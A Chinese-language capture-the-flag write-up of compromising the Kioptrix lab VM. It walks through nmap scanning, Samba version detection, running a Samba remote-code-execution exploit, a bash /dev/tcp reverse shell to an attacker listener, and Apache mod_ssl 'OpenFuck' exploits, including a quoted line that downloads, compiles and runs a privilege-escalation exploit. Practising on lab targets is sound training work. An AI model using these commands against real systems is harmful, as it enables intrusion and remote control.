為避免發現不到主機,把靶機下載後先改一下設定:
(1):打开靶机所在文件夹,找到vmx后缀的文件并打开
(2):将Bridged全部改成nat(默认是桥接模式,因为kali是nat才能扫描IP)
接下來用vmware掛載vmdk,出現以下畫面即可開始
由於不知道主機在哪,所以先把192.168
開頭的ip全部先掃一遍,使用nmap -sP
,透過Ping方式來掃描該網段其他主機。
隨便猜,大概是192.168.44.128
很可疑,所以對它進行更深入的掃描。用的是nmap -A -p 0-65535 192.168.44.128
,把0到65535的埠全部掃一遍並列出服務。
可以藉由上圖的螢光筆,看到總共開啟了22,80,111,139.443,1024等網路埠
80port的服務有Apache/1.3.20 (Unix),(Red-Hat/Linux),mod_ssl/2.8.4 OpenSSL/0.9.6b
(一) 打Samba(因為看到139 port有samba)
(1) 先知道Samba版本
先下載smbver這個shell檔,在github上的位置如下:
OSCPRepo / scripts / recon_enum / smbver.sh
使用方式如下:
bash smbver.sh <靶機IP> <網路埠>
命令行其實什麼都不會顯示,是要用wireshark來抓封包,所以在使用smbver.sh之前,需要把wireshark打開並開始抓封包,等上述shell檔執行完後,就可以停止抓封包,並找到smb相關封包如下:
可以發現藍色處就有Samba版本2.2.1a
(2)找到相對應戰具
下指令 searchsploit samba
可以看到上圖反白處這個戰具應該不錯。另外,searchsploit所列出的路徑,其實只是部分路徑。比如說如果searchsploit列出路徑unix/remote/764.c
,那麼真正的路徑是在/usr/share/exploitdb/exploits/unix/remote/764.c
裡面。當然,這是因為kali linux內建這個漏洞腳本庫,其他版本的linux就要自行去下載這個漏洞腳本庫。
編譯執行
sudo gcc 10.c -o samba_code_exec
# gcc 10.c -o samba_code_exec
# ./samba_code_exec
Usage: ./samba_code_exec [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
如果直接執行會出現上圖,可以告訴使用者用法。
根據上圖資訊用以下參數執行程式:
./samba_code_exec -b 0 192.168.44.128
可以成功RCE
再來就是要找flag,但是要先reverse shell
reverse shell步驟:
在kali端輸入nc -lvvp 1234
代表聆聽網路埠1234,接下來在已經取得root權限的靶機輸入bash -i >& /dev/tcp/[攻擊機ip]/[剛剛聆聽的網路埠] 0>&1
接下來剛剛輸入nc -lvvp 1234
的攻擊機就可以操控靶機,畫面如下:
看到root@kioptrix tmp
代表已可以操控kioptrix這台靶機。
接下來就是最後一個步驟catch the flag。我們用列出該靶機的history來檢查:
可以發現有它曾經有動過mail,於是下指令:
cat /var/spool/mail/root
可以發現bingo
(二) 打apache
(注意這裡的腳本只能兩台網段一樣才能使用?所以WSL的kali不能用這腳本去打虛擬機的靶機)試試看打apache 1.3.20,先找漏洞,輸入指令searchsploit apache 1.3.20
,會輸出結果如圖
螢光筆畫出的三個應該是符合目前環境的可用漏洞。
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
首先說說第三個poc,47080.c
。原始碼裡面有一行
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"
這是在取得apache權限後,會繼續從COMMAND2執行
cd /tmp;
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
gcc -o exploit ptrace-kmod.c -B /usr/bin;
rm ptrace-kmod.c
./exploit
\n
但是這個bash有兩個問題。第一個問題,是wget那個網址根本不能用,第二個問題,是編譯執行出來的exploit會遇到權限不夠的問題。
第一個問題其實可以想辦法解決。首先,ptrace-kmod.c
其實可以在以下網址下載。
exploits/ptrace-kmod.c at master · piyush-saurabh/exploits · GitHub
接下來步驟如下:
創建一個資料夾,就假設叫ptrace: mkdir ptrace
把
ptrace-kmod.c
下載到ptrace資料夾cd ptrace
python -m http.server
在瀏覽器網址列輸入http://localhost:8000/
就可以看到
所以可以把https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
改成http://[本機IP]:8000/ptrace-kmod.c
不過第二個問題依然沒解決就是了...